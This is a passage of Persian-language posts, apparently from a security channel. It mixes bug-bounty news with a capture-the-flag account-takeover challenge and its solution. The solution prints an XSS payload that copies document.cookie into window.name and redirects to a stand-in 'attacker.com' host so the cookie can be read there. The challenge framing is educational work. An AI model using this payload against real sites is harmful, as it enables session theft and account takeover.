https://mey-d.github.io/posts/self-xss-disk-cache/

جواب چلنج امیدوارم خوشتون اومده باشه

حقیقتا ۱ ماهه وضعیتم اینه
isp
های مختلف هم تست میکنم فایده نداره

برقا مناطق مختلف شهر که میره دکل ها به نظر ups چیزی ندارن و انتن هم میپره

مقاله جدید جیمز کتل
میگن ۲۰۰ هزارتا بانتی باش زده توی ۱ ماه
https://http10.com/

Challenge Time
سلام دوستان یه چالش اکانت تیک اور قشنگ آوردیم
هدف چالش اینه که یه لینک بفرستید به ادمین کلیک کنه و کوکی هاش فرستاده بشه به سایت اتکر
فاز نکنید کل چالش تو همین صفحه هستش

راه حل هاتونو پی وی بفرستید
@arlrouh

https://rouhbakhsh.xyz/index2.php

سطح چالش: سخت

بعد از اینکه راه حلشو بذارن
مال خودمو هم میذارم خیلی چیز حقی شد

Solution:
هدف اصلی ما از این چالش این بود که در مرورگرها، آبجکت window یک property به نام name داره که به‌صورت پیش‌فرض یک رشتهٔ خالیه.
در مرورگر Google Chrome، وقتی مقداری برای این property ست می‌کنیم، کروم اون مقدار رو پاک نمی‌کنه مگر اینکه یه مقدار جدید جایگزینش بشه یا کل window بسته بشه.

اکسپلویت این موضوع به این شکله:

";window.name=document.cookie;location.href="//attacker.com";//

بعد از اینکه پنجره به سایت اتکر ریدایرکت شد، اونجا می‌شه یه کد جاوااسکریپت نوشت و مقدار کوکی رو از داخل window.name خوند.